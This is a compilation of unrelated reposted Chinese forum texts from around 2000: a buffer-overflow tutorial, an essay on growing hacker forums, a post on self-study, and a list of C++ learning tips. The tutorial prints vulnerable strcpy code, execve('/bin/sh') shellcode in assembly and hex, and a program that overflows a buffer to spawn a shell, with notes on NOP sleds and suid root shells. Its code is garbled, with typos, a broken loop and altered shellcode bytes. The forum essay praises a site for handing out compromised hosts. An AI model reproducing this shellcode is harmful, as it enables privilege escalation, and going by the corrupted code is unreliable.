写了这么点东西,或许有些同仁看不懂,看不懂不要紧,只要抓紧时间学习基础知识,再加上自己的努力,相信你很快就会成为高手的,呵呵!!
实在懒的写了,问题不会解答!
今天是第三天了!
                 MASTERLE
                2000.02.09
我在“我想对孤独剑客和小榕说.......(想伪装ip的也可以来了)”这篇帖子当中引用了一端代码，有人让我看“hhtp;//www.isbase.com/book/showQueryL.asp?libID=32”所写的东西，我实在搞不懂是我理解能力差还是他理解错了，没办法，我只好写出那段代码产生的过程！
首先介绍给大家也许都知道的攻击手段：
缓冲区溢出（buffer overflow)是一种系统攻击的手段，通过往程序的缓冲区写入超出其长度的内容，造成缓冲区的溢出，从而破坏程序的堆栈，使程序转而执行其它的命令，以达到攻击的目的。之所以缓冲区溢出可以实现的原因是系统程序没有检测用户输入的参数，也就是没有检测变量的长度是否符合要求。
eg1:
--------------------------------------------
void function(char*str){
      char buffer[16]
      strcpy(buffer,str);
    }
--------------------------------------------
上面的strcpy()将直接把str中的内容copy到buffer中。这样只要str的长度大于16，就会造成buffer的溢出，使程序出错。存在像strcpy（）这样的标准函数还有strcat（）、sprintf（）、vsprintf（）、gets（）、scanf（），以及在循环内的getc（）、fgetc（）、getchat（）等。
当然，随便向缓冲区里填写东西造成它溢出一般只会出现“Segmentation fault"段错误，而不能达到攻击的目的。最常见的手段是通过某个特殊的程序的缓冲区溢出而执行一个shell，通过shell的权限可以执行高级的命令。如果这个特殊的程序属于root且具有suid权限的话，攻击成功就可能获得一个具有root权限的shell，就可以对系统为所欲为了（如果你基础不好，即使作到了这一步，你想，你会干什么？你能干什么？）。
一个程序在内存中通常分为程序段，数据段和堆栈3部分。程序段里面放着程序的机器码和只读数据。数据段放的是程序中的静态数据。动态数据则通过堆栈来存放。在内存中，它们的位置是从内存低端到内存高端分别是：
程序段、数据段、堆栈
当程序中发生函数调用时，计算机做以下操作：首先把参数压入堆栈：然后保存命令寄存器（IP）中的内容作为返回地址（RET）；第三个放入堆栈的是基址寄存器（FP）；然后把当前的堆栈指针（SP）拷贝到FP，作为新的基地址；最后为本地变量留出一定空间，把SP减去适当数值。
eg2:
-------------------------------------------
void function(char*str){
     char buffer[16];
     ctrcpy(buffer,str);
     }
     void main(){
     char large_string[256];
     int i;
     for(i=0;i<255;i++)
      large_string[1]=‘A‘;
      function(large_string);
     }
---------------------------------------------
当调用函数function（）的时候，堆栈的情况如下所示：
内存低端　buffer sfp　ret　*str　内存高端
<-------[　　　][　 ][　][　　 ]------------->
栈顶　　　　　　　　　　　　　　　栈底
上面的程序执行的结果是“Segmentation fault （core dumped）”或类似的出错信息。因为从buffer开始的256个字节都将被*str的内容‘A‘覆盖，包括stp、ret,甚至是*str。‘A‘的十六进制值为0x41，所以函数的返回地址变成了0x4141414141,这超出了程序的地址空间，所以出现段错误。
然而这样仍然达不到我们想要得结果，我们必须在溢出的缓冲区中写入我们想执行的代码，再覆盖返回地址（ret）的内容，使它指向缓冲区开头，就可以达到运行其他命令的目的
eg3这就是我帖在“ 我想对孤独剑客和小榕说.......(想伪装ip的也可以来了)　- masterle 00-2-9 11:22:17 ”的那段代码)
----------------------------------------------------------------------
void main(){
_asm_("
       jmp　 0x1f
       popl　%esi
       movl　%esi,0x8(%esi)
       xorl　%eax,%eax
       movb　$0xb,%al
       movl　%esi,%ebx
       leal　0x8(%esi),%ecx
       int　 $0x80
       xorl　%ebx,%ebx
       movl　%ebx,%eax
       inc　 %eax
       int　 $0x80
       call　-0x24
       .string\"/bin?sh\"
       ");
       }
----------------------------------------------------------------------
将上面的程序用机器码表示即可以得到以下十六进制shell代码字符串。
如下：
----------------------------------------------------------------------
char shellcode[]=
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xdc"
"\x80\xe0\xdc\xff\xff\xff/bin/sh";
char large_string[128];
void main(){
char buffer[96];
int　i;
long *long_ptr=(long *)large_string;
for(i=0;i<32;i++)
*(long_ptr+i)=(int)buffer;
for(i=0;i 　 large_string=shellcode;
strcpy(buffer,large_string);
}
----------------------------------------------------------------------
这个程序所做的是，在large_string中填入buffer的地址，并把shell代码放到large_string的前面部分，然后将large_string拷贝到buffer中，造成它溢出，使返回地址变为buffer，而buffer的内容是shell代码，这样当程序试从strcpy（）中返回的时候，就会转而执行shell。
其实最头疼的是如何知道缓冲区的地址，并在那里放shell代码到large_string的前面部分呢？由于每个程序的堆栈启始地址是固定的，所以自然可以利用反复重试缓冲区相对于堆栈起始位置的距离来得到。但是这样的盲目猜测可能要进行上千次，实际上是不现实的。（手疼！！！！）解决的办法是利用空指令
NOP。在shell代码前防一长串的NOP，返回地址可以指向这一串NOP中任一位置，执行完NOP后程序将激活shell进程，这样就大大的增加了猜中的可能性。（还得猜）
之所以选择这段代码给小容看，是因为这种缓冲区溢出的技术是很奏效的，也是很多黑客和入侵者采用的惯用手段，因为它不是正常登陆的超级用户权限，所以几乎没有任何记录。
目前对上述攻击手段的防范方法来看，很多webmaster都说没有根本解决的好办法，最好的办法就是完善程序，使函数无懈可击（可能吗，别忘了我们是干什么的）。另外要注意打各种path，从根本上杜绝函数的漏洞，作为应急的办法，可以把有危险的程序的Suid位去掉，需要时再加上，只是比较麻烦而已。
不知上述，大眼圈同学看懂了没有，和你说的那篇觉得有什么共同之处吗？


浅谈国内黑客论坛的定位和发展
信息来源：邪恶八进制信息安全团队（http://www.eviloctal.com/）
文章作者：冷漠男孩
首先我们来讨论定位。在我们准备要架设个黑客论坛的时候，就应该想好论坛的定位。什么叫定位呢？就是说你的论坛主要面向哪些人群，各个人群的层次不一样，这就决定了论坛的发展方向不一样。如果是面向菜鸟朋友的，那么论坛应该偏向于基础点的东西，要让菜鸟朋友看得懂。如果是面向广大高手的，那么内容可以挖深。所以呢，我个人认为一个论坛首先要定位好它的发展方向，这样才能有利于论坛的发展。
下面我们主要讨论发展

为什么有的论坛人气旺，而有的论坛永远就是那么几个人或者几十个人呢？为什么人家的论坛人气那么好，而自己的论坛却那么寥寥几个呢？你有没有想过原因？有的朋友论坛刚架设好，就拼命的在群里发消息，希望大家去捧场，诚然这样可以带来一部分的人气，但是怎么留住这些朋友呢？有很多朋友都是通过搜索引擎或者上面的宣传进去的，他们可能进去一次，但是要想让他们经常去你的论坛或者网站，这就需要你的论坛的吸引力够大，什么叫论坛吸引力呢？简单的来说，就是人家在你的论坛上，能够得到他们所需要的东西。什么才是他们所需要的东西呢？菜鸟和高手需要的东西不一样，这就是上面所说的定位了，先定位好，然后发展。现在国内黑客站和论坛的整体现象就是copy现象十分严重，造成这样的情况，看一个黑客站就基本上知道国内所以黑客站的情况了。这点我相信大家都深有体会，要是哪个站发布了个原创的技术文章，那么在国内的黑客站上会迅速的出现，速度惊人啊。我不得不佩服网站编辑的勤快。这里引用下我的切身体会，记得去年的暑假我去做业务员，我们的经理跟我们说的一句话就是“同样的都是一样的产品，为什么要选我们的公司的产品”，我套用过来，“同样的文章，为什么要到你们站去看？”当然了，产品和文章是不一样的，产品虽然一样，但是有产品的质量和服务也许不一样，这就是人家为什么要选你的原因。但是文章不一样，文章copy过来的，都是一样的吧？没有什么不同，我们也知道，现在网站的编辑不好做，技术文章难找，只有到其他站去copy。但是为什么有的站或者论坛的人气就比较好呢？而你的站人气就是上不去呢？我们现在来看下国内论坛定位的比较好的两家，一是邪恶八进制（下面简称 EST），一是校园黑客联盟（下面简称 SHC），可能还有其他比较好的，但是今天就先举这两个例子。为什么EST的人气那么好，而且还是高手居多呢？这就是他们的论坛定位的好，他们的论坛主要的面向高手朋友，当然也有菜鸟去的。黑客界曾经有句话说的是“混EST的朋友，技术都不会菜到哪去”，为什么这么说我想大家应该都知道原因的吧？
为什么高手们都喜欢去EST呢？那是因为在那里，他们的技术可以得到施展，自己的能力能够充分的展现。我们来打个比方，譬如你是高手，你进了一个论坛，看到满眼的都是些连3389、Webshell、肉鸡是什么都不知道的，你会在那个论坛呆吗？我这里并不说鄙视菜鸟，我没有那个资格，因为我也是菜鸟，但是就算你真的是高手，你也没有资格去瞧不起菜鸟，因为任何人都是从菜鸟一步步走过来的，你敢说你一接触计算机就是高手？没有这样的人吧？我这里说的是你在那个论坛，得不到自己想要的东西，虽然你是高手，但是高手也需要学习和人交流，所以你只有选择离开。而在EST，你的能力就得到了充分的展示，EST高手如云，你可以学习，也可以和人交流，说句实话，EST的学习环境我个人认为是国内最好的了，那里面没有垃圾帖，没有漫骂，有的只是技术的讨论，这样的讨论是对事不对人，就说吵起来，大家谁也没有放在心上。这就是EST的魅力所在，这就是为什么EST的高手如云的原因了，可能还有，但是我想这应该是最主要的原因了
下面我们来讨论下为什么校盟的人气越来越好呢？校盟定位在菜鸟朋友，所以他们的论坛都是些基础的东西，是菜鸟朋友能够看得懂的！还有就是他们懂得菜鸟朋友想得到的是什么？我先来说下为什么知道校盟的，那是2年前吧，听朋友介绍校盟经常发布免费肉鸡呢。我就急忙过去看看。一看还是真的。所以以后就经常去了。这是我个人为什么一开始去校盟的原因。大家别笑我哦。我说的是实话，我想很多人都是这个原因。那么菜鸟朋友他们一般对什么感兴趣呢？我想可能是 3方面吧，一是肉鸡。二是 VIP教程 三是 自己的问题得到解决。关于肉鸡上面已经说过了，我当时去校盟就是冲着肉鸡去的，关于VIP教程呢？例子就是 依水社区了，大家都知道依水社区那边发布的教程是出了名的，很多朋友都是学生，没有钱去参加什么培训，所以这样VIP教程对他们来说，正是他们说需要的，他们会天天去看看有没有最新的VIP教程出来，这样依水的人气也就上去了。下面继续来讨论校盟，校盟的人气有很大的进步，我想很大一部分要归功于那次的免费技术培训，校盟为了突出免费共享的原则，他们举办了一次针对菜鸟朋友的免费技术培训，这次培训我当时还在校盟做管理，可以说我是亲身经历的，培训吸引了很多人前去，虽然后来培训由于某些原因不得不终止了，但是让很多人知道了校盟，自那次以后校盟的人气就迅速上升了，这是一个很典型的例子。
谈了那么多，我们来总结下，要想论坛发展的好，首先定位要明确，然后根据你的定位再发展。如果定位在菜鸟以上这个层次的，那么你的论坛的内容可以深一点，如果是针对菜鸟朋友的，论坛内容就应该发点基础的东西，要努力解决菜鸟朋友的问题！值得注意的是，斑竹在解决菜鸟的问题的时候，态度要好，要亲和！总之一句话，就是“对症下药”。论坛的内容要适合你所定位的人群，我想这样在很大程度上可以提高你论坛的访问量。最后希望国内的论坛朝着自己定位的人群努力发展，祝你们的论坛人气越来越旺！
PS：不是技术文章，以上内容只是我个人的一点看法，肯定有错误啦。放上来是和大家讨论，希望大家批评指正！！


你尽力了吗

///////////////////////////////////////////////////////////////////////////
这是我的同事alert7在他主页上转scz的《你尽力了吗》，之前说的一段话，一些肺腑
直言，我觉得我该说的alert7也帮我说了，希望我们以及前人的思路可以指引大家
///////////////////////////////////////////////////////////////////////////
自己都觉得这里的水平底的一塌糊涂，当然也包括我自己了，所以我经常也要
跑到whnet去问问题，有时候都恨自己怎么这么菜啊。
scz(四哥)说：BBS是不能真正学到东西的，
不过这里能开阔人的视野，能得到对大方向的指引，能够了 。
是的，真的是足够了，要不是scz的指引，我不会走这条路的，当时在gznet的BBS
上，我也问了好多关于unix network programming的问题，得到好多人的帮助。
后来转而学习linux kernel，来到了whnet,主要就是得到scz的帮助，我很感谢他。
我想他在教育网内是很成功的，可能带起了一群人。
自己的成长其实就是生产问题，解决问题的过程。
问题就是在自己不断的学习中产生的，你学习了吗？你努力了吗？你有问题要问吗？
自己付出了多少，就会有多大的收获，这点我有很大很大的体会。
转了这么多的技术文章，不是为了增加版面，增加人气，
完全是给有心人看的,自己要想学，想看才能学进去，看进去。
希望他们能在这里得到进阶。
转了这么多的技术文章，只是希望川大的“黑客”(暂且以黑客称之)不要误入
歧途，不要只做被人们称为的脚本小子，要做就做一个白帽(white-hat).
没人敢说自己是黑客，除非他自己知道他在说什么。所以我也没有用黑客这个词.
我做这里的斑竹的目的不是来一个人撑起一个版的，只是为了上面的几点。
今天又去了linuxforum，颇有感触，如果你也在linux kernel hack(也许你会对hack
这词误会),如果你看过linux的源代码就不会觉得奇怪了)话，
去http://www.linuxforum.net/cgi-bin/perl/postlist.pl?Cat=&Board=linuxK
感受感受真正做学问的气氛吧。
有必要大家来重温一下四哥那篇《你尽力了吗》。
看看真正高手的那份淡然吧
发信人: cloudsky (小四), 信区: Security
标 题: 你尽力了吗
发信站: 武汉白云黄鹤站 (Mon Apr 17 19:52:54 2000), 站内信件
很多人问如何入门如何入门，我却不知道要问的是入什么门。很少把某些好文章耐心
从头看完，我这次就深有体会。比如袁哥的sniffer原理，一直以为自己对sniffer原
理很清楚的，所以也就不曾仔细看过袁哥的这篇。后来有天晚上和袁哥讨论，如何通
过端口读写直接获取mac地址，为什么antisniff可以获得真正的mac地址，而不受更
改mac地址技术的影响，如何在linux下获得真正的mac地址。我一直对linux下的端口
读写心存疑虑，总觉得在保护模式下的端口都做了内存映象等等。结果袁哥问了我一
句，你仔细看我写的文章没有，我楞，最近因为要印刷月刊，我整理以前的很多文档，
被迫认真过滤它们，才发现袁哥的文章让我又有新认识。再后来整理到tt的几篇缓冲
区溢出的，尤其是上面的关于Solaris可装载内核模块，那就更觉得惭愧了。以前说
书非借不能读，现在是文章留在硬盘上却不读。其实本版已经很多经典文章了，也推
荐了不少经典书籍了，有几个好好看过呢。W.Richard.Stevens的UNP我算是认真看过
加了不少旁注，APUE就没有那么认真了，而卷II的一半认真看过，写过读书笔记，卷
III就没有看一页。道格拉斯的卷I、卷III是认真看过几遍，卷II就只断续看过。而
很多技术文章，如果搞到手了就懒得再看，却不知道这浪费了多少资源，忽略了多少
资源。BBS是真正能学到东西的地方吗？rain说不是的，我说也不是的。不过这里能开
阔人的视野，能得到对大方向的指引，足够了。我一直都希望大家从这里学到的不是
技术本身，而是学习方法和一种不再狂热的淡然。很多技术，明天就会过时，如果你
掌握的是学习方法，那你还有下一个机会，如果你掌握的仅仅是这个技术本身，你就
没有机会了。其实我对系统安全是真不懂，因为我一直都喜欢看程序写程序却不喜欢
也没有能力攻击谁谁的主机/站点。我所能在这里做的是，为大家提供一个方向，一种
让你的狂热归于淡然的说教。如果你连<Windows NT设备驱动程序编写>、< win9x系统编
程>都没有看过，却要写个什么隐藏自己的木马，搞笑。如果你看都不看汇编语
言，偏要问exploit code的原理，那我无法回答也不想回答你。总有人责问，要讨个
说法纭纭，说什么提问却没有回答。不回答已经是正确的处理方式了，至少没有回你
一句，看书去，对不对，至少没有扰乱版面让你生闷气。Unix的man手册你要都看完了，
想不会Unix都不行了。微软的MSDN、Platform SDK DOC你要看完了，你想把Win编程想
象得稍微困难点都找不到理由。还是那句话，一个程序员做到W.Richard.Stevens那个
份上，做到逝世后还能叫全世界的顶级hacker们专门著文怀念，但生前却不曾著文攻
击，想想看，那是一种什么样的境界，那是一份什么样的淡然。我们可以大肆讨论技
术问题，可以就技术问题进行激烈的卓有成效的讨论，却无意进行基础知识、资源信
息的版面重复。我刚在前面贴了一堆isbase的文章，开头就是主页标识，却在后面立
刻问什么主页在哪里？前面刚刚讨论过如何修改mac地址，后面马上又来一个，前后
相差不过3篇文章。选择沉默已经是很多朋友忍耐力的优异表现了。
很多东西都是可以举一反三的。vertex的lids，被packetstorm天天追踪更新，你要是
看了THC的那三篇，觉得理解一个就理解了一堆，都是内核模块上的手脚。你不看你怎
么知道。我不想在这里陷入具体技术问题的讨论中去，你要是觉得该做点什么了，就
自己去看自己去找。没有什么人摆什么架子，也没有什么人生来就是干这个的。你自
己问自己，尽力了吗？


[转帖] 短小精干鞭辟入里——怎样学习c++

1.把C++当成一门新的语言学习（和C没啥关系！真的。）；
2.看《Thinking In C++》，不要看《C++变成死相》；

3.看《The C++ Programming Language》和《Inside The C++ Object Model》,不要因为他们很难而我们自己是初学者所以就不看；

4.不要被VC、BCB、BC、MC、TC等词汇所迷惑——他们都是集成开发环境，而我们要学的是一门语言；

5.不要放过任何一个看上去很简单的小编程问题——他们往往并不那么简单，或者可以引伸出很多知识点；

6.会用Visual C++，并不说明你会C++；

7.学class并不难，template、STL、generic programming也不过如此——难的是长期坚持实践和不遗余力的博览群书；

8.如果不是天才的话，想学编程就不要想玩游戏——你以为你做到了，其实你的C++水平并没有和你通关的能力一起变高——其实可以时刻记住：学C++是为了编游戏的；

9.看Visual C++的书，是学不了C++语言的；

10.浮躁的人容易说：XX语言不行了，应该学YY；——是你自己不行了吧！？

11.浮躁的人容易问：我到底该学什么；——别问，学就对了；

12.浮躁的人容易问：XX有钱途吗；——建议你去抢银行；

13.浮躁的人容易说：我要中文版！我英文不行！——不行？学呀！

14.浮躁的人容易问：XX和YY哪个好；——告诉你吧，都好——只要你学就行；

15.浮躁的人分两种：a)只观望而不学的人；b)只学而不坚持的人；

16.把时髦的技术挂在嘴边，还不如把过时的技术记在心里；

17.C++不仅仅是支持面向对象的程序设计语言；

18.学习编程最好的方法之一就是阅读源代码；

19.在任何时刻都不要认为自己手中的书已经足够了；

20.请阅读《The Standard C++ Bible》(中文版：标准C++宝典)，掌握C++标准；

21.看得懂的书，请仔细看；看不懂的书，请硬着头皮看；

22.别指望看第一遍书就能记住和掌握什么——请看第二遍、第三遍；

23.请看《Effective C++》和《More Effective C++》以及《Exceptional C++》；

24.不要停留在集成开发环境的摇篮上，要学会控制集成开发环境，还要学会用命令行方式处理程序；

25.和别人一起讨论有意义的C++知识点，而不是争吵XX行不行或者YY与ZZ哪个好；

26.请看《程序设计实践》，并严格的按照其要求去做；

27.不要因为C和C++中有一些语法和关键字看上去相同，就认为它们的意义和作用完全一样；

28.C++绝不是所谓的C的“扩充”——如果C++一开始就起名叫Z语言，你一定不会把C和Z语言联系得那么紧密；

29.请不要认为学过XX语言再改学C++会有什么问题——你只不过又在学一门全新的语言而已；

30.读完了《Inside The C++ Object Model》以后再来认定自己是不是已经学会了C++；

31.学习编程的秘诀是：编程，编程，再编程；

32.请留意下列书籍：《C++面向对象高效编程（C++ Effective Object-Oriented Software Construction）》《面向对象软件构造(Object-Oriented Software Construction)》《设计模式（Design Patterns）》《The Art of Computer Programming》；

33.记住：面向对象技术不只是C++专有的；

34.请把书上的程序例子亲手输入到电脑上实践，即使配套光盘中有源代码；

35.把在书中看到的有意义的例子扩充；

36.请重视C++中的异常处理技术，并将其切实的运用到自己的程序中；

37.经常回顾自己以前写过的程序，并尝试重写，把自己学到的新知识运用进去；

38.不要漏掉书中任何一个练习题——请全部做完并记录下解题思路；

39.C++语言和C++的集成开发环境要同时学习和掌握；

40.既然决定了学C++,就请坚持学下去，因为学习程序设计语言的目的是掌握程序设计技术，而程序设计技术是跨语言的；

41.就让C++语言的各种平台和开发环境去激烈的竞争吧，我们要以学习C++语言本身为主；

42.当你写C++程序写到一半却发现自己用的方法很拙劣时，请不要马上停手；请尽快将余下的部分粗略的完成以保证这个设计的完整性，然后分析自己的错误并重新设计和编写（参见43）；

43.别心急，设计C++的class确实不容易；自己程序中的class和自己的class设计水平是在不断的编程实践中完善和发展的；

44.决不要因为程序“很小”就不遵循某些你不熟练的规则——好习惯是培养出来的，而不是一次记住的；

45.每学到一个C++难点的时候，尝试着对别人讲解这个知识点并让他理解——你能讲清楚才说明你真的理解了；

46.记录下在和别人交流时发现的自己忽视或不理解的知识点；

47.请不断的对自己写的程序提出更高的要求,哪怕你的程序版本号会变成Version 100.XX；

48.保存好你写过的所有的程序——那是你最好的积累之一；

49.请不要做浮躁的人；

50.请热爱C++!